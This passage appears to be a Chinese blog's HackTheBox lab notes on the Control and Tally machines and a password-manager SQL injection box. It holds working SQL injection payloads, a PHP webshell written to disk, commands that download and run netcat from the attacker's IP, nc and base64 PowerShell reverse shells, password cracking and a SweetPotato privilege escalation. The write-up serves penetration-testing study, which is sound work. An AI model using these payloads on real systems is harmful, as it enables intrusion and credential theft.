    string(1) "1"
  }
}

现在我可以用它来获取数据。列出 DBs 以查看只有两个:

 curl -s "http://passmanager.htb:1234/index.php" -d "method=select&username=' UNION SELECT schema_name from information_schema.schemata;-- -&table=passwords"  | grep string | cut -d'"' -f2
information_schema
bread

数据库bread只有一张表passwords

 curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT table_name from information_schema.tables where table_schema='bread';-- -&table=passwords"  | grep string | cut -d'"' -f2
passwords

该表有四列:

 curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT column_name from information_schema.columns where table_name='passwords';-- -&table=passwords"  | grep string | cut -d'"' -f2
id
account
password
aes_key

获取所有数据:

 curl -s "http://passmanager.htb:4444/index.php" -d "method=select&username=' UNION SELECT concat_ws(', ',id,account,password,aes_key) from passwords;-- -&table=passwords" | grep string | cut -d'"' -f2
1, Administrator, H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=, k19D193j.<19391(

利用Cyberchef:解密

image-20240126171825231

sshpass -p 'p@ssw0rd!@#$9890./' ssh administrator@10.10.10.228

console

对HTTP头进行FUZZ

查看源代码

在 Web 根目录的源代码顶部有一个注释块:

<!-- To Do:
	- Import Products
	- Link to new payment system
	- Enable SSL (Certificates location \\192.168.4.28\myfiles)
<!-- Header -->

这暗示主机 192.168.4.28 上有东西

该页面说我需要通过代理,并且缺少标头。我发现此页面包含 HTTP 标头列表,并将该列表提取到文本文件中

现在我将用它来wfuzz看看添加这些是否会改变任何东西。我运行了一次,发现有关无法访问的消息有 89 个字符,因此我将添加--hh 89到命令的末尾。最初我使用主机IP运行它:

root@kali# wfuzz -c -w headers -u http://10.10.10.167/admin.php -H "FUZZ: 10.10.10.167" --hh 89

--hh 89:通过 HTTP 响应代码过滤响应,在本例中,仅显示状态代码为 89 的响应。

“X-Forwarded-For”上的 HTTP 200 返回 7933 个字符当然很有趣。我下载了一个名为“修改标头值”的 Firefox 插件(我以前没有这样做的东西,这个还可以,但如果你有更好的工具,请发表评论),并将其设置为添加“X-Forwarded” -For” 控制头:

image-20240128204038019

刷新后可以访问admin.php页面了

也可以利用bp设置

image-20240128211844079

sql写文件反弹shell

有个输入框,尝试' 报错了,开始注入试试

手工

sql注入备忘表MySQL SQL Injection Cheat Sheet | pentestmonkey 记得回来看

' UNION select 1,2,3,4,5,6#

' UNION select @@version,user(),database(),4,5,6#

' union select schema_name,2,3,4,5,6 from information_schema.schemata#查看三个数据库

查看它的表productName=Asus' union select table_schema,table_name,3,4,5,6 from information_schema.tables where table_schema != 'mysql' AND table_schema != 'information_schema'#

这些表中没有什么有趣的东西

' UNION select host,user,password,4,5,6 from mysql.user# 获得一些hash

image-20240128212104362

看看不同用户的权限

' union select table_schema,table_name,3,4,5,6 from information_schema.tables where table_schema='information_schema'#

image-20240128210607946

' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges#

image-20240128212140410

当前的用户拥有 FILE priv,我将在盒子上编写一个 webshell。我将发出以下 POST,它应该打印出 webshell:

productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6#

它确实写了我想要的内容,但毫不奇怪,它不会执行它,因为它只是作为文本打印到屏幕上

现在,我可以运行相同的 SQL 命令,但这次将其写入文件,并猜测默认的 IIS 路径:

productName=Asus' union select '<?php system($_GET[\'cmd\']); ?>',2,3,4,5,6 into outfile 'c:/inetpub/wwwroot/_0xdf.php'#
第一次返回错误,第二次说文件已经存在

curl '10.10.10.167/_0xdf.php?cmd=powershell+wget+http://10.10.16.3/nc64.exe+-outfile+\windows\temp\nc.exe'

curl -s 'http://10.10.10.167/_0xdf.php?cmd=whoami'

反弹

curl '10.10.10.167/_0xdf.php?cmd=powershell+wget+http://10.10.14.4/nc 64.exe+-outfile+\windows\temp\nc.exe'

sqlmap写shell

sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --dbs

sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --users

sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --passwords

看用户有什么权限

sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --privileges

image-20240128212708670

试试可不可读取index.php的文件

sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --sql-query="select load_file('c:\inetpub\wwwroot/index.php');"

image-20240128212838141

尝试写文件

sqlmap -u http://10.10.10.167/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --file-write=kali中的写的webshell --file-dest="c:\inetpub\wwwroot\xxx.php"(写入靶机的文件,名字随便)

密码重复如何利用powershell提权

利用hashcat破解上面的得到的hash值

hashcat -m 300 hashes --user /usr/share/wordlists/rockyou.txt --force

l33th4x0rhector

可能会有重复使用密码的情况

现在我将创建一个凭证对象:

PS C:\> $env:ComputerName
CONTROL
PS C:\> $username = "CONTROL\hector"
PS C:\> $password = "l33th4x0rhector"
PS C:\> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr

现在我将使用Invoke-Commandhector 来运行命令,它可以工作:

PS C:\> Invoke-Command -Computer localhost -Credential $cred -ScriptBlock { whoami }
control\hector

由于某种原因,赫克托无法访问nc.exe我上传到的\windows\temp,但我将上传另一个副本,然后运行它:

PS C:\> wget 10.10.14.4/nc64.exe -outfile \windows\system32\spool\drivers\color\nc64.exe

PS C:\> Invoke-Command -credential $cred -ScriptBlock { \windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.4 443 } -computer localhost

rlwrap nc -lnvp 443

提升root(查看powershell历史文件)

image-20240128214935117

不太会就不搞了,

Tally

HTB: Tally | 0xdf hacks stuff

sharepoint

当我 Google“Windows TCP 32843”时,第一个链接是这篇关于 SharePoint 使用的 TCP 端口的文章。其中包括 808、32843、32844 和 32864 作为 SharePoint 使用的服务,访问_layouts/viewlsts.aspx确实返回一些东西:

可以 gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt -u 10.10.10.59 找到该目录

image-20240130135231146

可以从中间的文档获得信息

UTDRSCH53c"$6hys ftp_user

image-20240130103724379

把前面_layouts/15/start.aspx删除这个可以访问

直接点进来的不可以访问,不知道为什么

image-20240130103735572

keepass数据库

利用ftp枚举可以找到

有两件事是最有趣的:

  • 蒂姆有一个 KeePass 数据库,tim.kdbx.

  • 莎拉有一个notes.txt.

要进入 KeePass 数据库,我需要主密码。我将使用该john脚本keepass2john来获取该密码的哈希值,我可以尝试使用它来破解hashcat(或者john,我只是更喜欢hashcat):

oxdf@hacky$ keepass2john 10.10.10.59/User/Tim/Files/tim.kdbx 
tim:$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da
oxdf@hacky$ keepass2john 10.10.10.59/User/Tim/Files/tim.kdbx > tim.kdbx.hash

我将开始针对作为单词列表的hashcat哈希进行运行。rockyou.txt新版本hashcat不需要我识别哈希格式,而是为我找到它:

oxdf@jawad:~/hackthebox/tally-10.10.10.59$ /opt/hashcat-6.2.5/hashcat.bin tim.kdbx.hash --user /usr/share/wordlists/rockyou.txt 
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager
...[snip]...
$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da:simplementeyo
...[snip]...

它在不到 10 秒的时间内找到了密码,“simplementeyo”。

我将用来kpcli读取数据库。连接时,它要求输入密码:

oxdf@hacky$ kpcli --kdb tim.kdbx                               

列出数据库中所有密码的快速方法是使用以下find命令:

kpcli:/> find .
Searching for "." ...
 - 3 matches found and placed into /_found/
Would you like to list them now? [y/N] 
=== Entries ===             
0. Default                                                                 
1. PDF Writer                                                              
2. TALLY ACCT share

现在show -f [number]将提供该号码的详细信息(没有-f密码将被隐藏):

kpcli:/> show -f 0

 Path: /WORK/CISCO/
Title: Default
Uname: cisco
 Pass: cisco123
  URL: 
Notes: 

kpcli:/> show -f 1

 Path: /WORK/SOFTWARE/
Title: PDF Writer
Uname: 64257-56525-54257-54734
 Pass: 
  URL: 
Notes: 

kpcli:/> show -f 2

 Path: /WORK/WINDOWS/Shares/
Title: TALLY ACCT share
Uname: Finance
 Pass: Acc0unting
  URL: 
Notes: 

我将删除的两组信用是“cisco”/“cisco123”和“Finance”/“Acc0unting”。后者说这是为了分享 Tally。我找不到任何有用的 cisco 密码的地方。

可以利用smb登入,文件比较多,可以挂载到本地

sudo mount -t cifs -o user=Finance,pass=Acc0unting //10.10.10.59/ACCT /mnt oxdf@hacky$ ls /mnt

现在我将更轻松地浏览文件共享。这里还有很多,其中很多只是垃圾文件。没有什么好办法来展示所有最终证明是一无所有的事情。我会记下该zz_Archived/SQL文件夹,其中有一个名为conn-info

old server details

db: sa
pass: YE%TJC%&HYbe5Nw

have changed for tally

我将尝试 MSSQL 的这些信用,但正如注释中所说,一定有人为 Tally 更改了它们。

最终我会找到zz_Migrations/Binaries。有一堆无用的.cap文件,我将从这个列表中删除它们:

oxdf@hacky$ find . -type f | grep -v cap$

这里很快跳出来的是tester.exe,因为它是这里唯一看起来不像已知商业软件的东西。

查看tester.exe( strings -n 10 tester.exe | less) 中的字符串,顶部有一个非常有趣的字符串:

oxdf@hacky$ strings -n 10 tester.exe
!This program cannot be run in DOS mode.
PP9E u:PPVWP                  
9C`u99C\t4                                     
SQLSTATE:                  
DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;
select * from Orchard_Users_UserPartRecord
Unknown exception
bad locale name
iostream stream error
...[snip]...

SQL Server 有一个连接字符串:

DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4

反弹shell

mssql反弹shell

这边又解决报错的办法,不过我的可以直接连接

要连接到 MSSQL,我将使用( Impacketmssqlclient.py包的一部分),但出现错误:

oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[-] [('SSL routines', 'state_machine', 'internal error')]

通过 Google 搜索该错误,我发现了这个GitHub 问题这篇文章说他们通过更改 中的两行来修复它tds.py

一般来说,弄乱已安装的 Python 包并不好,但这是一个很小的改变,我打算尝试一下。要找到位置tds.py,我将再次运行-debug

oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59 -debug
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.8/dist-packages/impacket
[*] Encryption required, switching to TLS
[+] Exception:
Traceback (most recent call last):
  File "/usr/local/bin/mssqlclient.py", line 175, in <module>
    res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth)
  File "/usr/local/lib/python3.8/dist-packages/impacket/tds.py", line 920, in login
    tls.do_handshake()
  File "/usr/local/lib/python3.8/dist-packages/OpenSSL/SSL.py", line 1894, in do_handshake
    self._raise_ssl_error(self._ssl, result)
  File "/usr/local/lib/python3.8/dist-packages/OpenSSL/SSL.py", line 1632, in _raise_ssl_error
    _raise_current_error()
  File "/usr/local/lib/python3.8/dist-packages/OpenSSL/_util.py", line 57, in exception_from_error_queue
    raise exception_type(errors)
OpenSSL.SSL.Error: [('SSL routines', 'state_machine', 'internal error')]
[-] [('SSL routines', 'state_machine', 'internal error')]

版本后的第一行显示安装位置/usr/local/lib/python3.8/dist-packages/impacket。在该目录中,我会找到tds.py. 我将进行这两项更改,在两个位置添加“_2”,然后再次运行,它会起作用:

oxdf@hacky$ mssqlclient.py sa:GWE3V65#6KFH93@4GWTG2G@10.10.10.59 
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(TALLY): Line 1: Changed database context to 'master'.
[*] INFO(TALLY): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (130 665) 
[!] Press help for extra shell commands
SQL>

enable_xp_cmdshell

我将访问revshells.com并使用我的 IP 和端口更新它。我将按 Windows 进行过滤并选择 PowerShell #3 (Base64)。我喜欢 Base64,因为我不必担心 MSSQL 命令行中的错误字符。

我将使用rlwrap监听器在我即将成为的 shell 上获取向上和向下箭头,并在我的虚拟机上启动它。然后我将复制 shell,并将其粘贴到 MSSQL 提示符中:

SQL> xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUw

sudo rlwrap -cAr nc -lvnp 443

type user.txt

firefox反弹shell

看别人的writeup,我没复现陈功

提权root

计划任务

我没成功

桌面上还有一堆其他文件:

PS C:\users\sarah\desktop> ls

对于这部分,我感兴趣的是SPBestWarmUp.ps1SPBestWarmUp.xml。前者是一个 PowerShell 脚本,我相信它实际上是这个. 它旨在帮助在 Windows IIS 服务器上进行缓存。但内容其实并不重要

SPBestWarmUp.xml是导出的计划任务:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <CalendarTrigger>
      <Repetition>
        <Interval>PT1H</Interval>
        <Duration>P1D</Duration>
        <StopAtDurationEnd>false</StopAtDurationEnd>
      </Repetition>
      <StartBoundary>2017-01-25T01:00:00</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
...[snip]...

在顶部,它定义了触发器,即每天每小时 0100 点开始。对于 HTB 来说,这是一个非常慢的 cron,但也许它仍然很有趣。还有基于事件日志的触发器,表明服务器内存不足。

再往下一点,设置为以管理员身份运行:

...[snip]...
  <Principals>
    <Principal id="Author">
      <UserId>TALLY\Administrator</UserId>
      <LogonType>Password</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals> 
...[snip]...

在最底部,它显示它运行 PowerShell 脚本:

...[snip]...
  <Actions Context="Author">
    <Exec>
      <Command>PowerShell.exe</Command>
      <Arguments>-ExecutionPolicy Bypass -File SPBestWarmUp.ps1 -skipadmincheck</Arguments
      <WorkingDirectory>C:\Users\Sarah\Desktop</WorkingDirectory>
    </Exec>
  </Actions> 
...[snip]...

此外,莎拉可以完全控制该文件:

PS C:\users\sarah\desktop> icacls SPBestWarmUp.ps1
SPBestWarmUp.ps1 NT AUTHORITY\SYSTEM:(F)
                 BUILTIN\Administrators:(F)
                 TALLY\Sarah:(F)

Successfully processed 1 files; Failed processing 0 files

我将生成另一个 shell(这次在 444 上),并且(创建备份后)替换SPBestWarmUp.ps1为 shell:

copy SPBestWarmUp.ps1 SPBestWarmUp.ps1.bak

echo "powershell -e JABjAGwAaQBlAG4Adxxxxxxxxxxxx" > SPBestWarmUp.ps1

当时间过去时,它会生成一个 shell:

oxdf@hacky$ nc -lnvp 444

SeImpersonatePrivilege(SweetPotato)

sarah 正在运行 MSSQL,在 Windows 上,服务以SeImpersonatePrivilege. 如果我通过 MSSQL 获得 shell,则 sarah 拥有此特权:

PS C:\users\sarah\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

这次,我将展示SweetPotatoSeImpersonate ,它是一个内置了许多不同漏洞的单一工具。

我将使用通过 MSSQL 获得的 shell 将其上传到 Tally:

PS C:\programdata> iwr 10.10.14.6/SweetPotato.exe -outfile sp.exe
PS C:\programdata> iwr 10.10.14.6/nc64.exe -outfile nc64.exe

我也来上传nc64.exe一下 我将从所有默认值开始,只给它一个要运行的程序-p和该程序的参数-a,通过以下方式生成反向 shell nc64.exe

PS C:\programdata> .\sp.exe -p "\programdata\nc64.exe" -a "-e powershell 10.10.14.6 446"
SweetPotato by @_EthicalChaos_
  Original RottenPotato code and exploit by @foxglovesec
  Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery
  PrintSpoofer discovery and original exploit by @itm4n
  EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam
[+] Attempting NP impersonation using method PrintSpoofer to launch \programdata\nc64.exe
[+] Triggering notification on evil PIPE \\TALLY/pipe/21e828a2-6bdd-4a23-9b7b-d03d423949a7
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
PS C:\programdata> .\sp.exe

它返回一个 shell 作为 SYSTEM:

oxdf@hacky$ nc -lnvp 446

CVE-2017-0213

看writeup,我没弄

  • 15
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值